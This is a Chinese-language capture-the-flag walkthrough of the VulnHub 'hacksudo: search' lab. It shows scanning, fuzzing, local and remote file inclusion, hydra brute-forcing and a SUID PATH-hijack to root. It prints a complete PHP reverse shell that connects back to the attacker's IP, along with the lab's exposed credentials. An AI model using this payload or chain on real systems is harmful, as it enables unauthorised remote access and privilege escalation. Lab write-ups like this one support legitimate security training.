1

vulnhub靶场之HACKSUDO: SEARCH - upfine

 1 year ago
source link: https://www.cnblogs.com/upfine/p/17216060.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

准备:

攻击机:虚拟机kali、本机win10。

靶机:hacksudo: search,下载地址:https://download.vulnhub.com/hacksudo/hacksudo-search.zip,下载后直接vbox打开即可。

知识点:文件包含漏洞、shell反弹、敏感信息发现、hydra爆破、添加环境变量、ffuf爆破。

2834847-20230314193315039-1864143355.png

一:信息收集

1.nmap扫描

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.3.212,显示开放了22端口、80端口,开启了ssh服务、http服务。

2834847-20230314193448249-599444344.png

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.4 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了search.php、search1.php等文件。

2834847-20230314193559942-1812663248.png

3.web服务

访问:http://192.168.3.212/时在其源码中发现会跳转到search.php文件,但是search.php文件会执行谷歌进行搜索,没什么意义。然后在访问search1.php文件时显示访问:www.hacksudo.com,但是添加dns解析后虽然发现了一个网站但是也没发现可以利用的信息,然后又检查其源码信息在其源码信息中发现了关键信息,告诉我们要进行ffuf测试。

2834847-20230314195142099-971824168.png

使用ffuf进行参数探测,命令:ffuf -u 'http://192.168.3.212/search1.php?FUZZ=../../../../../etc/passwd' -w /usr/share/SecLists/Discovery/Web-Content/common.txt -fs 2918,成功发现参数:me。

2834847-20230314202729381-1120734130.png

二:漏洞利用

1.漏洞验证

利用获得参数:me尝试访问下本地/etc/passwd文件,成功获得/etc/passwd文件的信息,验证了本地文件读取漏洞存在。

2834847-20230314203553559-2141901670.png

尝试下是否存在远程文件包含漏洞,请求下:http://192.168.3.212/search1.php?me=https://www.baidu.com,验证了存在远程文件包含漏洞。

2834847-20230314203923026-2004411650.png

2.获取shell

在本地kali中编写shell反弹脚本并开启web服务,然后利用远程文件包含漏洞请求:kali中的shell反弹脚本,命令:http://192.168.3.212/search1.php?me=http://192.168.3.84:8000/shell.php,成功获得shell权限。

shell反弹脚本

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.3.84';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

 

2834847-20230314204524951-1064558730.png

1.提权至hacksudo

在/var/www/html目录下发现.env文件,读取该文件发现数据库账户和密码信息:hiraman/MyD4dSuperH3r0!,尝试使用获得的账户和密码信息进行数据库登录,但是显示禁止hiraman在本地登录数据库。

2834847-20230314210406618-1341694445.png
2834847-20230314210435071-271271070.png

继续往下查找信息,在/var/www/html/account目录下发现dbconnect.php文件,读取该文件发现数据库信息:数据库名称:wordpress、账号和密码信息:hacksudo/p@ssword。

2834847-20230314210913410-1929686881.png

使用获得账户和密码信息连接数据库,成功进入到数据库中。这里查找之后在数据库本身的information_schema表中发现user_variables表,但是显示仍是hacksudo账户不允许访问user_variables表。

2834847-20230314211556730-781129104.png

前往/home目录下进行查看发现以下账户:hacksudo、john、monali、search,但是均无相关的访问权限,联想到上面获得的两个密码,那就进行爆破以下,命令:hydra -L name -P passwd ssh://192.168.3.212,成功发现一组账户和密码信息:hacksudo/MyD4dSuperH3r0!。

2834847-20230314213029458-991976056.png

利用获得的账户信息:hacksudo/MyD4dSuperH3r0!直接切换到hacksudo账户,成功获得hacksudo账户权限并在/home/hacksudo目录下发现user.txt文件,读取该文件成功获得flag值。

2834847-20230314213400950-1296056775.png

2.提权至root

使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/hacksudo/search/tools/searchinstall文件。

2834847-20230314215001506-845077479.png

前往/home/hacksudo/search/tools目录,在该目录下发现searchinstall.c文件,读取该文件信息,发现此文件以系统权限执行了install命令,因此我们可以自己写一个install命令。

2834847-20230314215124305-991302156.png

在/tmp目录下将/bin/bash写入install文件,赋予该文件执行权限并将install添加到环境变量中,然后执行./searchinstall文件成功获得root权限。

2834847-20230314223358372-2139944706.png

获得root权限后在在/root目录下发现root.txt文件,读取该文件成功获得flag值。

2834847-20230314223441178-2081103007.png

如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK